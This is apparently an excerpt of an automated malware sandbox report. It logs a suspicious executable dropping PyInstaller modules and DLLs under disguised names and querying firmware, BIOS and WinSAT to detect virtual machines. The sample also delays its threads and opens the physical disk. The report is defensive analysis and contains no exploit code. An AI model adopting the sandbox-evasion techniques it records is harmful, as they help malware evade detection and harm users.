Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\$Windows.~WS\Sources\SetupHost.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (QueryWinSAT)

Source: C:\Users\user\AppData\WinHex.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{05DF8D13-C355-47F4-A11E-851B338CEFB8}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7280	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2132	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7915	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1406	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Window / User API: threadDelayed 2871

Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\python38.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\wdstptc.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\DiagTrack.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\SetupCore.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\wdsclientapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\wdsimage.dll	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\pidgenx.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\SetupMgr.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\DU.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\wdscsl.dll	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\wpx.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\MediaSetupUIMgr.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\DiagTrackRunner.exe	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\Diager.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	Dropped PE file which has not been started: C:\$Windows.~WS\Sources\setupplatform.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22562\_socket.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-16191

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep count: 7280 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6788	Thread sleep count: 2132 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep count: 7915 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep count: 1406 > 30	Jump to behavior
Source: C:\$Windows.~WS\Sources\SetupHost.exe TID: 7552	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\WinHex.exe TID: 2932	Thread sleep count: 231 > 30
Source: C:\Users\user\AppData\WinHex.exe TID: 7632	Thread sleep count: 2871 > 30
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\$Windows.~WS\Sources\SetupHost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_bios

Source: C:\$Windows.~WS\Sources\SetupHost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\$Windows.~WS\Sources\SetupHost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer, Name, Caption, Architecture, MaxClockSpeed FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\WinHex.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\WinHex.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\WinHex.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF77B1F6714
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2009B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF77B2009B4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1E7820 FindFirstFileExW,FindClose,	0_2_00007FF77B1E7820
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF77B1F6714

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
